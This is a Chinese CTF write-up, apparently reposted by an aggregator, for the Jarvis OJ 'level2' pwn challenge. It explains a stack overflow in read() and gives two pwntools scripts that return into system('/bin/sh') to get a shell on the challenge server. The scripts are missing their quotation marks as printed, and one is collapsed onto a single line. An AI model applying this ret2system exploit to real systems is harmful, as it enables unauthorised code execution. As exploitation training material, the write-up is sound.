Pwn-level2

Posted gaonuoqi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Pwn-level2相关的知识,希望对你有一定的参考价值。

题目地址

https://dn.jarvisoj.com/challengefiles/level2.54931449c557d0551c4fc2a10f4778a1

 

先看一下文件的属性   32位

技术图片

 在看看保护机制

技术图片

开启了NX 那么就不能shellcode

丢到IDA看看

技术图片

main函数先执行vulnerable_function,在输出hello world

 技术图片

 IDA按Shift+F12查看字符,发现有shell

技术图片

那么可以利用read函数的栈溢出,buf需要填充0x92个字符(0x4+0x88)

技术图片

 技术图片

 

现在可以构造一个system("/bin/sh")的伪栈帧,通过控制vulnerable_function函数返回到该伪栈帧的地址,执行system("/bin/sh")来获取shell

 system的地址为08048320

技术图片

/bin/sh的地址为0804A024

技术图片

 

from pwn import *
r=remote(pwn2.jarvisoj.com,9878)
payload=a*(0x88+0x4)+p32(0x08048320)+aaaa+p32(0x804a024) //跳到system地址,返回地址为0xaaaa,参数为/bin/sh
r.sendline(payload)
r.interactive()
          

或者               

from pwn import *
p = remote(pwn2.jarvisoj.com,9878) elf = ELF(./level2) sh_addr = elf.search(/bin/sh).next() print p32(sh_addr) system_addr = elf.symbols[system] print p32(system_addr) payload = a * (0x88 + 0x4) + p32(system_addr) +aaaa + p32(sh_addr) p.send(payload) p.interactive()

执行

 技术图片

 

以上是关于Pwn-level2的主要内容,如果未能解决你的问题,请参考以下文章

Pwn-level2(x64)

CSAPP Lab3: The Attack Lab

CSAPP_AttackLab实验报告

AtCoder Beginner Contest 277 G(概率dp+计数)

AtCoder Beginner Contest 277 G(概率dp+计数)

sqlserver 书查询 之二